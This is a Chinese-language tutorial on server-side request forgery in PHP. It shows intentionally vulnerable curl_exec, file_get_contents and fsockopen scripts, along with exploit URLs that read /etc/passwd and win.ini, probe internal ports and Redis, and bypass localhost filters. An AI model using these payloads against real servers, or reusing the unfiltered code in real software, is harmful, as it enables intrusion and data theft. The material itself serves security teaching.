0x00 文章资料提供的地址
安全课-SSRF绕过方法总结: https://www.secpulse.com/archives/65832.html
0x01 推荐查看的文章
推荐先查看文章-浅谈PHP-伪协议: https://www.yuque.com/pmiaowu/web_security_1/lnq3co
0x02 漏洞描述
服务端请求伪造 (Server-Side Request Forgery)。
由攻击者构造带有攻击的请求传给服务器执行造成的漏洞。
一般是使用它在外网探测数据或是攻击内网服务。
0x03 SSRF 漏洞作用
- 内网ip/端口扫描
- 服务器敏感数据读取
- 内网主机应用程序漏洞利用
- 内网web站点漏洞利用
0x04 SSRF漏洞的常见的位置
- 社交分享功能:获取超链接的标题等内容进行显示
- 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
- 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
- 开发平台接口测试工具:一些公司会把自己的一些接口开放出来,形成第三方接口。这个时候他们通常会开发一个用于测试自己接口是否连通的web,给这些程序员测试接口,如果没有过滤好,就会造成ssrf
0x05 相关函数
- file_get_contents()
- fsockopen()
- curl_exec()
以上三个函数使用不当会造成SSRF漏洞
需要注意的是:
- 大部分 PHP 并不会开启 fopen 的 gopher wrapper
- file_get_contents 的 gopher 协议不能 URLencode
- file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
- PHP 的 curl 默认不 follow 302 跳转
- curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
0x06 SSRF 漏洞基本利用
curl_exec
# 文件名称: ssrf-test.php# 未做任何过滤-有回显<?phpfunction curl($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_exec($ch);curl_close($ch);}$url = $_GET['url'];curl($url);
# 利用file协议查看文件# 如果访问成功就会返回数据访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd# 利用dict探测端口# 开启访问的端口时会返回很快,如果没开启就会延迟一下访问: http://atest.test/ssrf-test.php?url=dict://127.0.0.1:80访问: http://atest.test/ssrf-test.php?url=dict://127.0.0.1:6379/info# 使用http协议探测端口# 开启访问的端口时会返回很快,如果没开启就会延迟一下访问: http://atest.test/ssrf-test.php?url=http://127.0.0.1:80
file_get_contents
# 文件名称: ssrf-test.php# 未做任何过滤-有回显<?php$url = $_GET['url'];;echo file_get_contents($url);
# 利用file协议查看文件# 如果访问成功就会返回数据访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd
fsockopen
# 文件名称: ssrf-test.php# 未做任何过滤-有回显<?php$host=$_GET['url'];$fp = fsockopen("$host", 80, $errno, $errstr, 30);if (!$fp) {echo "$errstr ($errno)<br />\n";} else {$out = "GET / HTTP/1.1\r\n";$out .= "Host: $host\r\n";$out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);while (!feof($fp)) {echo fgets($fp, 128);}fclose($fp);}?>
# 利用file协议查看文件# 如果访问成功就会返回数据访问: http://atest.test/ssrf-test.php?url=file://C:/Windows/win.ini访问: http://atest.test/ssrf-test.php?url=file:///etc/passwd
0x07 基本绕过方法
攻击本地
http://127.0.0.1:80http://localhost:22
利用[::]
利用[::]绕过localhosthttp://[::]:80/ >>> http://127.0.0.1
利用@
http://example.com@127.0.0.1
利用短地址
http://dwz.cn/11SMa >>> http://127.0.0.1
利用DNS解析
在域名上设置A记录,指向127.0.1
购买一个域名例如我购买了一个 phpoop.com 这个域名
我把 www.phpoop.com 指向127.0.1
网络地址可以转换成数字地址
网络地址可以转换成数字地址,比如127.0.0.1可以转化为2130706433。
可以直接访问http://2130706433 或者 http://0x7F000001,这样就可以绕过.的ip过滤
